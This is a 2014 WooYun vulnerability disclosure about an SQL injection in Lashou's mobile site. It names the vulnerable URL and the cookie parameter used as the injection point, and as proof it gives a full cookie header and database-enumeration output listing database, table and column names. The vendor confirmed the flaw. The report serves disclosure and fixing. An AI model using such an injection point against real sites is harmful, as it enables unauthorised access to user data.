漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-065726
漏洞标题：拉手网移动版存在SQL注入
相关厂商：拉手网
漏洞作者： 老妖
提交时间：2014-06-22 19:33
修复时间：2014-08-06 19:34
公开时间：2014-08-06 19:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-22： 细节已通知厂商并且等待厂商处理中
2014-06-23： 厂商已经确认，细节仅向厂商公开
2014-07-03： 细节向核心白帽子及相关领域专家公开
2014-07-13： 细节向普通白帽子公开
2014-07-23： 细节向实习白帽子公开
2014-08-06： 细节向公众公开
简要描述：
m.lashou.com存在一处SQL注入漏洞，可导致信息泄露甚至shell
详细说明：
http://m.lashou.com/dobuy2.php?id=8284503&fr=0&city=shanghai&vt=3
请先自行登录，获取cookike
注入点：cookie中的ls_360_qid
Cookie:client_key=????921822w0f1eb49d??????????; city_b=2419; __utma=1.927891390.1401921846.1403153525.1403326279.11; __utmz=1.1403005204.5.2.utmcsr=i.links.cn|utmccn=(referral)|utmcmd=referral|utmcct=/subdomain/; version=1; Hm_lvt_c2eaab85259ff4e5e56f035ef5786907=1403326247; visit_city_string=shanghai; uuid=????342a714de40fe88eb739b576bbff4221?????; history=7877923%2C8284503%2C8293998; login_name2=????????%2540163.com; pwd2=????2bd3b12af723801d75????????; view_goods=%7B%228248991%22%3A8248991%2C%228148891%22%3A8148891%7D; Hm_lpvt_c2eaab85259ff4e5e56f035ef5786907=1403326247; ThinkID=1v1rfpu4bd5csuqo73fcfi1m82; cookie_check=1; __utmb=1.2.10.1403326279; __utmc=1;ls_360_qihoo_id=deleted; ls_360_ext=deleted; ls_360_qid=deleted*; ls_360_qmail=deleted; ls_360_qname=deleted
漏洞证明：
[*] address
[*] datamining
[*] dating
[*] game_togo
[*] hotel
[*] house
[*] hui
[*] information_schema
[*] lashoblog
[*] lashou_activity
[*] lashou_dianping
[*] lashou_hotel
[*] lashou_hui
[*] lashou_jd
[*] lashou_mall
[*] lashou_sem
[*] lashou_stat
[*] lashou_stores
[*] logs
[*] mysql
[*] nantong
[*] slowlog
[*] stats
[*] test
'thinklasho'
user: '[email protected]'
version: '5.1.57-community-log'
Database: address
[6 tables]
+--------------+
| address |
| address_book |
| address_ext |
| group_list |
| groups |
| uploads |
Database: address
Table: address
[10 columns]
+---------+
| Column |
+---------+
| face |
| fmid |
| id |
| isbkack |
| mid |
| pid |
| pname |
| same |
| tyye |
修复方案：
up to you!
版权声明：转载请注明来源 老妖@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2014-06-23 10:01
厂商回复：
已经告知开发，正在修补漏洞，感谢。
最新状态：
暂无